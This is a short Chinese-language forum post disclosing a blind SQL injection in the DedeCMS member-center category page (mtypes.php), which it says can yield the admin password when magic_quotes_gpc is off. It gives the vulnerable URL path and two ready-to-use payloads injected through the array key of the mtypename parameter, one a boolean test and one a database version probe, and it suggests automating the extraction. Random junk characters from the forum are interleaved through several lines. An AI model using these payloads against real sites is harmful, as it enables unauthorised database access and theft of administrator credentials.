DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.


发生在数组key里的注射漏洞,有点意思.
8 S3 z4 r* z% x4 P8 o% M$ q- n' y" o
# z5 q& ~9 b; P这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
8 T5 I" O/ b, v1 k
# c+ i9 R7 w0 S2 m2 I" dhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
- y3 W; I! x- k) ?
5 X+ x/ _, w. n5 b5 ~exploit:
8 \' ^( V6 e+ j& Z. d$ Kmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
/ y- z6 S3 h: z9 z, @: Q$ Umtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
$ W. }/ g& o9 y0 I' h